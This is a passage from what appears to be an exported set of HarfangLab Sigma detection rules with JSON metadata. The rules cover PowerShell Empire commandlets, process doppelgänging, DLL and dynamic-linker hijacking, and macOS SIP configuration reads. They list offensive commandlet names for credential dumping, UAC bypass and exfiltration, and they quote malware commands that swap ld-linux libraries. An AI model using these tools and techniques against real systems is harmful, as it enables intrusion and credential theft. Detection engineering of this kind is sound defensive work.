+  "content": "title: Malicious PowerShell Empire Commandlets\nid: e95e0452-fb72-4d16-ba86-5c75984a02b2\ndescription: |\n    Detects various malicious commandlets in PowerShell scripts, generally associated with the Empire framework.\n    Attackers may use the PowerShell Empire framework for executing post-exploitation tasks, such as privilege escalation, persistence, credential harvesting, and lateral movement within a compromised network.\n    It is recommended to immediately investigate actions performed via PowerShell and other suspicious actions on the host to determine whether they are the result of an ongoing security audit or an active attacker.\nreferences:\n    - https://github.com/Kevin-Robertson/Inveigh\n    - https://gist.github.com/monoxgas/9d238accd969550136db\n    - https://gist.github.com/HarmJ0y/c84065c0c487d4c74cc1\n    - https://github.com/secmode/Invoke-Apex\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2021/06/22\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.defense_evasion\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Framework.Empire\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains:\n            - 'Get-FoxDump'\n            - 'Get-Screenshot'\n            - 'Invoke-NetRipper'\n            - 'Invoke-EgressCheck'\n            - 'Invoke-PostExfil'\n            - 'Invoke-PSInject'\n            - 'New-HoneyHash'\n            - 'Invoke-PowerDump'\n            - 'Exploit-Jboss'\n            - 'Invoke-Paranoia'\n            - 'Invoke-WinEnum'\n            - 'Invoke-ARPScan'\n            - 'Invoke-BackdoorLNK'\n            - 'Invoke-BypassUAC'\n            - 'Invoke-Tater'\n\n    exclusion_signageos:\n        # Get-ScreenshotHelper.ps1  + Get-Screenshot.ps1\n        ProcessCommandLine: '*\\signageos\\server\\powershell\\Get-Screenshot*.ps1 -screenshotFilePath *\\signageOS\\fileSystem\\tmp\\screenshots\\\\*.png'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e95e0452-fb72-4d16-ba86-5c75984a02b2",
+  "rule_name": "Malicious PowerShell Empire Commandlets",
+  "rule_description": "Detects various malicious commandlets in PowerShell scripts, generally associated with the Empire framework.\nAttackers may use the PowerShell Empire framework for executing post-exploitation tasks, such as privilege escalation, persistence, credential harvesting, and lateral movement within a compromised network.\nIt is recommended to immediately investigate actions performed via PowerShell and other suspicious actions on the host to determine whether they are the result of an ongoing security audit or an active attacker.\n",
+  "rule_creation_date": "2021-06-22",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e95e0452-fb72-4d16-c2c6-5c75984af301",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.090178Z",
+  "creation_date": "2026-03-23T11:45:34.090180Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.090184Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/",
+    "https://github.com/hasherezade/process_doppelganging",
+    "https://attack.mitre.org/techniques/T1055/013/"
+  ],
+  "name": "t1055_process_doppelganging.yml",
+  "content": "title: Process Doppelgänging Detected\nid: e95e0452-fb72-4d16-c2c6-5c75984af301\ndescription: |\n    Detects the process doppelgänging injection technique.\n    Process doppelgänging, similarly to process hollowing/RunPE, involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. However, in the case of process doppelgänging, the file image is overwritten via NTFS transactions before the process is even started.\n    It is recommended to investigate the process responsible for the injection as well as the injected process to look for malicious actions or content.\nreferences:\n    - https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/\n    - https://github.com/hasherezade/process_doppelganging\n    - https://attack.mitre.org/techniques/T1055/013/\ndate: 2025/09/01\nmodified: 2025/11/03\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055.013\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.ProcessInjection\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_agent_version:\n        AgentVersion|gte|version: 4.14.0\n\n    selection_transacted:\n        IsFileObjectTransacted: 'true'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e95e0452-fb72-4d16-c2c6-5c75984af301",
+  "rule_name": "Process Doppelgänging Detected",
+  "rule_description": "Detects the process doppelgänging injection technique.\nProcess doppelgänging, similarly to process hollowing/RunPE, involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. However, in the case of process doppelgänging, the file image is overwritten via NTFS transactions before the process is even started.\nIt is recommended to investigate the process responsible for the injection as well as the injected process to look for malicious actions or content.\n",
+  "rule_creation_date": "2025-09-01",
+  "rule_modified_date": "2025-11-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.013"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e97354a2-fdfc-4d08-a1b2-6edae8abf311",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.605037Z",
+  "creation_date": "2026-03-23T11:45:34.605040Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.605048Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.intrinsec.com/apt27-analysis/",
+    "https://attack.mitre.org/techniques/T1033/"
+  ],
+  "name": "t1033_psloggedon.yml",
+  "content": "title: Logged-on Users Discovered via PsLoggedOn\nid: e97354a2-fdfc-4d08-a1b2-6edae8abf311\ndescription: |\n    Detects the execution of the PsLoggedOn utility, part of the Sysinternals suite, which enumerates local and remote system logon sessions.\n    While legitimate for administrative use, attackers often leverage this tool to identify logged-in users and backup accounts, aiding in lateral movement and privilege escalation.\n    It is recommended to investigate PsLoggedOn execution context and scope, verify authorization of use, and correlate with other discovery activities.\nreferences:\n    - https://www.intrinsec.com/apt27-analysis/\n    - https://attack.mitre.org/techniques/T1033/\ndate: 2022/10/26\nmodified: 2025/02/04\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1033\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: '\\psloggedon.exe'\n        - OriginalFileName: 'psloggedon.exe'\n    condition: selection\nlevel: medium\nconfidence: weak",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e97354a2-fdfc-4d08-a1b2-6edae8abf311",
+  "rule_name": "Logged-on Users Discovered via PsLoggedOn",
+  "rule_description": "Detects the execution of the PsLoggedOn utility, part of the Sysinternals suite, which enumerates local and remote system logon sessions.\nWhile legitimate for administrative use, attackers often leverage this tool to identify logged-in users and backup accounts, aiding in lateral movement and privilege escalation.\nIt is recommended to investigate PsLoggedOn execution context and scope, verify authorization of use, and correlate with other discovery activities.\n",
+  "rule_creation_date": "2022-10-26",
+  "rule_modified_date": "2025-02-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1033"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e9b08d80-18f6-45d9-b8c0-c09b284e842c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622202Z",
+  "creation_date": "2026-03-23T11:45:34.622204Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622208Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/",
+    "https://attack.mitre.org/techniques/T1574/006/"
+  ],
+  "name": "t1574_006_possible_dynamic_linked_highjacking.yml",
+  "content": "title: Dynamic Linker Possibly Hijacked\nid: e9b08d80-18f6-45d9-b8c0-c09b284e842c\ndescription: |\n    Detects the suspicious execution of commands related to dynamic linker hijacking.\n    Dynamic linker hijacking is a technique used to achieve persistence and execution by tampering with dynamically loaded libraries.\n    This method has already been used by the Orbit backdoor in a July 2022 campaign, allowing it to hook system calls in order to hide its files, network connections and other artifacts.\n    It is recommended to investigate the command-line, the file being copied, and the execution context to determine if this action was legitimate.\nreferences:\n    - https://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/\n    - https://attack.mitre.org/techniques/T1574/006/\ndate: 2022/07/11\nmodified: 2026/01/23\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.defense_evasion\n    - attack.t1574.006\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.Hijacking\n    - classification.Linux.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    # Commands seen in malware:\n    # cp -p XXX ld-linux*.so.2\n    # cp -p ld-linux*.so.2 XXX\n    # mv XXX ld-linux*.so.2\n    # mv ld-linux*.so.2 XXX\n    selection_bin:\n        Image|endswith:\n            - '/mv'\n            - '/cp'\n            - '/cat'\n\n    selection_cmd:\n        CommandLine|contains:\n            - 'ld-linux-x86-64.so.2'\n            - 'ld-linux.so.2'\n\n    exclusion_initramfs:\n        # cp --sparse=always -pfL /lib64/ld-linux-x86-64.so.2 /var/tmp/dracut.LwaqEu/initramfs//lib64/ld-linux-x86-64.so.2\n        # cp --reflink=auto --sparse=auto --preserve=mode,xattr,timestamps -fL /lib64/ld-linux-x86-64.so.2 /var/tmp/dracut.LwaqEu/initramfs/lib64/ld-linux-x86-64.so.2\n        # cp -pP /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /var/tmp/mkinitramfs_CJIkzz//usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2\n        CommandLine|contains:\n            - ' /var/tmp/dracut.*/initramfs/'\n            - '/temp/dracut.*/initramfs/'\n            - ' /var/tmp/mkinitramfs_*/'\n            - ' /tmp/tmp.*/mkinitramfs_*/'\n            - ' /run/initramfs/'\n\n    exclusion_distupgrade:\n        # apt-get dist-upgrade\n        # cp --no-dereference --preserve=all --reflink=auto --sparse=always /lib64/ld-linux-x86-64.so.2 /usr/lib64/ld-linux-x86-64.so.2\n        ParentCommandLine: '/usr/bin/perl /usr/lib/usrmerge/convert-usrmerge'\n\n    exclusion_mkinitcpio:\n        - ParentCommandLine|startswith: 'bash /usr/bin/mkinitcpio -k '\n        - GrandparentCommandLine:\n            - 'bash /usr/bin/mkinitcpio -p linux'\n            - 'bash /usr/bin/mkinitcpio -P'\n\n    exclusion_mkchroot:\n        ParentCommandLine|startswith:\n            - '/bin/bash /bin/mkchroot '\n            - '/bin/bash /usr/bin/mkchroot '\n            - '/bin/bash /usr/local/bin/mkchroot '\n\n    exclusion_mkinitrd:\n        ParentCommandLine|startswith: '/bin/sh /usr/sbin/mkinitrd '\n\n    exclusion_gentoo_glibc:\n        GrandparentImage:\n            - '/usr/bin/gmake'\n            - '/usr/bin/make'\n        GrandparentCommandLine|contains: '/var/tmp/portage/sys-libs/glibc-*/work/glibc-* '\n\n    exclusion_container:\n        ProcessAncestors|contains:\n            - '|/usr/bin/dockerd|'\n            - '|/usr/bin/containerd-shim-runc-v2|'\n\n    exclusion_dpkg:\n        ProcessAncestors|contains: '|/usr/bin/dpkg|'\n\n    exclusion_rear:\n        ProcessParentCommandLine:\n            - '/bin/bash /usr/sbin/rear mkbackup'\n            - '/bin/bash -* /usr/sbin/rear mkbackup'\n\n    exclusion_make:\n        ProcessImage: '/usr/bin/mv'\n        ProcessParentImage: '/usr/bin/make'\n\n    exclusion_dracut:\n        ProcessParentImage: '/usr/lib/dracut/dracut-install'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e9b08d80-18f6-45d9-b8c0-c09b284e842c",
+  "rule_name": "Dynamic Linker Possibly Hijacked",
+  "rule_description": "Detects the suspicious execution of commands related to dynamic linker hijacking.\nDynamic linker hijacking is a technique used to achieve persistence and execution by tampering with dynamically loaded libraries.\nThis method has already been used by the Orbit backdoor in a July 2022 campaign, allowing it to hook system calls in order to hide its files, network connections and other artifacts.\nIt is recommended to investigate the command-line, the file being copied, and the execution context to determine if this action was legitimate.\n",
+  "rule_creation_date": "2022-07-11",
+  "rule_modified_date": "2026-01-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e9b31c16-7433-4a48-bc59-19fd250d5a09",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075724Z",
+  "creation_date": "2026-03-23T11:45:34.075726Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075730Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redalert.nshc.net/2019/07/25/growth-of-sectorf01-groups-cyber-espionage-activities/",
+    "https://unit42.paloaltonetworks.com/dll-hijacking-techniques/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wechat.yml",
+  "content": "title: DLL Hijacking via WeChat.exe\nid: e9b31c16-7433-4a48-bc59-19fd250d5a09\ndescription: |\n    Detects potential Windows DLL Hijacking via WeChat.exe related to Coc Coc Browser Update Software.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://redalert.nshc.net/2019/07/25/growth-of-sectorf01-groups-cyber-espionage-activities/\n    - https://unit42.paloaltonetworks.com/dll-hijacking-techniques/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2024/03/20\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessProduct: 'WeChat'\n        ProcessDescription: 'WeChat'\n        ProcessCompany: 'Tencent'\n        ImageLoaded|endswith: '\\WeChatWin.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\Tencent\\WeChat\\'\n            - '?:\\Program Files (x86)\\Tencent\\WeChat\\'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Tencent\\WeChat\\'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\Tencent\\WeChat\\'\n            - '?:\\Program Files (x86)\\Tencent\\WeChat\\'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Tencent\\WeChat\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Tencent Technology(Shenzhen) Company Limited'\n            # 390f6e7c2bf17b861ec245e57d0a876abcde8f3b028004fb0ad9d371d71049ff\n            - 'Tencent Technology (Shenzhen) Company Limited'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e9b31c16-7433-4a48-bc59-19fd250d5a09",
+  "rule_name": "DLL Hijacking via WeChat.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via WeChat.exe related to Coc Coc Browser Update Software.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2024-03-20",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e9b7db41-b51f-401a-be74-71189416dc78",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.614902Z",
+  "creation_date": "2026-03-23T11:45:34.614905Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.614913Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://book.hacktricks.xyz/v/fr/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip",
+    "https://attack.mitre.org/techniques/T1543/"
+  ],
+  "name": "t1543_rootless_conf_read.yml",
+  "content": "title: Suspicious Read Access to Rootless Configuration File\nid: e9b7db41-b51f-401a-be74-71189416dc78\ndescription: |\n    Detects a suspicious access to the rootless configuration file which holds the monitored paths protected from being modified or deleted by the System Integrity Protection (SIP) feature.\n    Adversaries may use files present in the rootless configuration file but not present in the filesystem to establish a persistence protected from deletion by the SIP.\n    It is recommended to verify if the process performing the read operation has legitimate reason to do it.\nreferences:\n    - https://book.hacktricks.xyz/v/fr/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip\n    - https://attack.mitre.org/techniques/T1543/\ndate: 2024/07/03\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1543\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.Persistence\n    - classification.macOS.Behavior.SensitiveInformation\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n\n    selection_files:\n        Path: '/System/Library/Sandbox/rootless.conf'\n        Kind: 'read'\n        ProcessImage|contains: '?'\n\n    filter_csrutil:\n        Image: '/usr/bin/csrutil'\n\n    filter_installer:\n        ProcessImage: '/usr/sbin/installer'\n\n    filter_update:\n        - Image: '/private/var/db/com.apple.xpc.roleaccountd.staging/*.*.xpc/Contents/MacOS/com.apple.MobileSoftwareUpdate.UpdateBrainService'\n        - ProcessSigned: 'true'\n          ProcessSignatureSigningId: 'com.apple.MobileSoftwareUpdate.UpdateBrainService'\n\n# Common exclusion\n    ### system app ###\n    filter_systemapp:\n        Image:\n            - '/System/Library/Services/*'\n            - '/System/Library/PrivateFrameworks/*'\n            - '/System/Library/CoreServices/*'\n            - '/System/Library/Frameworks/CoreServices.framework/*'\n            - '/System/Library/ExtensionKit/Extensions/*'\n            - '/System/Library/Frameworks/*'\n            - '/usr/sbin/filecoordinationd'\n    exclusion_systemextension:\n        Image|startswith: '/Library/SystemExtensions/????????-????-????-????-????????????/'\n\n    exclusion_virtualization:\n        Image: '/System/Library/Frameworks/Virtualization.framework/Versions/A/XPCServices/com.apple.Virtualization.VirtualMachine.xpc/Contents/MacOS/com.apple.Virtualization.VirtualMachine'\n\n    ### security tools ###\n    exclusion_hurukai:\n        Image: '/Applications/HarfangLab Hurukai.app/Contents/MacOS/hurukai'\n    exclusion_fortinet:\n        Image:\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fmon2.app/Contents/MacOS/fmon2'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fcaptmon'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/scanunit'\n    exclusion_microsoft_defender:\n        Image:\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon_enterprise.app/Contents/MacOS/wdavdaemon_enterprise'\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon'\n    exclusion_fsecure:\n        Image:\n            - '/usr/local/f-secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fsavd.app/Contents/MacOS/fsavd'\n    exclusion_bitdefender:\n        Image: '/Library/Bitdefender/AVP/product/bin/BDLDaemon.app/Contents/MacOS/BDLDaemon'\n    exclusion_eset:\n        Image:\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_sci'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_gui'\n            - '/Applications/ESET Endpoint Antivirus.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Cyber Security.app/Contents/MacOS/esets_daemon'\n    exclusion_withssecure:\n        Image:\n            - '/Library/WithSecure/bin/wsesproviderd.xpc/Contents/MacOS/wsesproviderd'\n            - '/Library/WithSecure/bin/wsavd.app/Contents/MacOS/wsavd'\n    exclusion_sentinel:\n        Image: '/Library/Sentinel/sentinel-agent.bundle/Contents/MacOS/sentineld_helper.app/Contents/MacOS/sentineld_helper'\n    exclusion_avast:\n        Image: '/Applications/Avast.app/Contents/Backend/utils/com.avast.Antivirus.EndpointSecurity.app/Contents/MacOS/com.avast.Antivirus.EndpointSecurity'\n    exclusion_trend:\n        Image: '/Applications/TrendMicroSecurity.app/Contents/Resources/iCoreService.app/Contents/MacOS/iCoreService'\n    exclusion_sophos:\n        Image: '/Library/Sophos Anti-Virus/SophosScanAgent.app/Contents/MacOS/SophosScanAgent'\n\n    ### backup sofware ###\n    exclusion_arq:\n        Image: '/Applications/Arq.app/Contents/Resources/ArqAgent.app/Contents/MacOS/ArqAgent'\n\n    # AtempoLiveNavigator\n    exclusion_hnagent:\n        Image: '/Library/Application Support/HN/base/bin/HNagent'\n\n    exclusion_wddesktop:\n        Image:\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/kdd'\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/wdsync'\n\n    ### misc\n    exclusion_vscode:\n        Image:\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n            - '/Users/*/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n# end common exclusion\n\n    exclusion_birdagent:\n        ProcessImage|endswith: '/bird_agent_stable'\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: '_bird_python_dbg'\n\n    exclusion_acronis:\n        Image: '/Applications/Acronis True Image.app/Contents/MacOS/escyberprotect.app/Contents/MacOS/escyberprotect'\n\n    exclusion_image:\n        ProcessImage:\n            - '/sbin/md5'\n            - '/usr/bin/rsync'\n            - '/opt/homebrew/Cellar/rsync/*/bin/rsync'\n            - '/Users/*/Applications/*/ripgrep/bin/rg'\n            - '/usr/local/Cellar/ripgrep/*/bin/rg'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e9b7db41-b51f-401a-be74-71189416dc78",
+  "rule_name": "Suspicious Read Access to Rootless Configuration File",
+  "rule_description": "Detects a suspicious access to the rootless configuration file which holds the monitored paths protected from being modified or deleted by the System Integrity Protection (SIP) feature.\nAdversaries may use files present in the rootless configuration file but not present in the filesystem to establish a persistence protected from deletion by the SIP.\nIt is recommended to verify if the process performing the read operation has legitimate reason to do it.\n",
+  "rule_creation_date": "2024-07-03",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1543"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e9cfaccc-7059-4782-b19c-b4274fa93697",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
